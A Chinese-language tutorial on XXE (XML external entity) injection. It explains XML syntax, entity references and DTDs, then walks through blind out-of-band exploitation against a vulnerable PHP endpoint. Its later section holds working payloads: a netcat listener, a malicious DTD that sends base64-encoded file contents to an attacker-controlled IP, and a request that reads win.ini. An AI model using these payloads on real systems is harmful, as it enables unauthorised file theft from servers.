xxe ==> xml 外部实体注入
一、xml
1. xml介绍
html===> 超文本标记语言
xml ===> 可拓展的标记语言
xml与html非常的相似,但xml的语法规范更加严格
2. xml的特点
(1) xml必须要有一个根节点,有且只有一个根节点
(2) xml中标签必须要成对出现
(3) xml中标签中的属性的值 必须使用单引号或者双引号包含
(4) 标签在xml中是区分大小写的
(5) xml中的标签必须要正确的进行嵌套
3. xml的作用
传输以及存储数据
二、实体引用
1. 实体引用的介绍
XML元素,例如 foo 。如果xml元素内部出现如< 的特殊字符,解析就会失败,为了避免这种情况,XML用实体引用(entity reference)替换特殊字符。XML预定义五个实体引用,即用< > & ’ " 替换 < > & ’ " 。
实体引用可以起到类似宏定义和文件包含的效果,为了方便,我们会希望自定义实体引用,这个操作在称为 Document Type Defination(DTD,文档类型定义)的过程中进行。
2. xml实体引用 和 xss中的htmlspecialchars 函数处理的区别
xss--->htmlspecialchars:
< ===> <
> ====>>
' ==>' (ENT_QUOTES) 默认情况下 htmlspecialchars 不转义'
" ===>"
& ===>&
xml:
< ===> <
> ====>>
' ==>' (两者区别主要在单引号)
" ===>"
& ===>&
三、DTD
XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的。
DTD用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。是XML文档中的几条语句,用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合,也用来将一些特殊字符和可复用代码段自定义为实体。
主要分为两种方式:
1. 内部声明DTD实体
例子:
DTD:
<!ENTITY writer "me">
XML:
<author>&writer;</author>
用php代码来理解就是
$writer = 'me'
echo <author>$writer</author>
2. 引入外部的DTD文件
例子:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///C:/1.txt"> ]>
<creds>&goodies;</creds>
有system 看出是外部引入
上面的代码可以解析为 利用file协议将本地C盘的1.txt文件内容赋值给变量goodies
然后在下面引用
四、相关函数以及如何快速判断存在xxe漏洞
1. 相关函数
(1) simplexml_load_string 从字符串中加载simplexml对象,将xml表单转换为对象(里面用到了__toString魔术方法,将对象转化为字符串使用)
(2) libxml_disable_entity_loader 作用: 禁用xml外部实体加载,默认设置为false,让它加载外部实体
2. 如何快速判断存在xxe漏洞?
当php文件出现libxml_disable_entity_loader这个函数的时候
五、无回显如何利用
1. 流程
2. 前提
服务器存在xxe漏洞,举例主机里面存在一个php文件,里面内容如下,构成了xxe漏洞,但是无回显
<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
//echo $creds; //注释掉输出,因此无回显了
3. 具体步骤
(1) 需要在vps主机上 监听特定的端口 用来接收存在xxe漏洞的服务器发送的数据
命令: nc -lvp 12345 作用: 监听vps(kali)本地的12345端口
(2) 在vps上配置xxe.dtd文件, 该文件接收来自主机请求包中xml的file变量带来的文件内容,并将数据转发给12345端口
xxe.dtd文件内容:
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://192.168.11.131:12345/?%file;'>"
>
%all;
(3) 远程访问DTD文件
输入这个命令,使主机可以通过8989端口,远程访问vps(kali)的xxe.dtd这个文件
python3 -m http.server 8989
(4) 攻击者配置请求包
第一部分 让存在xxe漏洞的服务器去读取特定文件的内容,并赋值给变量file
第二部分 远程加载xxe.dtd文件,按照对应的要求转发file变量给vps
请求包中post参数的内容:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/Windows/win.ini">
<!ENTITY % dtd SYSTEM "http://192.168.11.131:8989/xxe.dtd">
%dtd;
%send;
]>
(5) 从监听的vps(kali)的12345端口接收到对应的数据内容
(6) 将内容经过base64解码后,获得的就是主机c:/Windows/win.ini里面的内容
六、xxe漏洞的作用
读取文件内容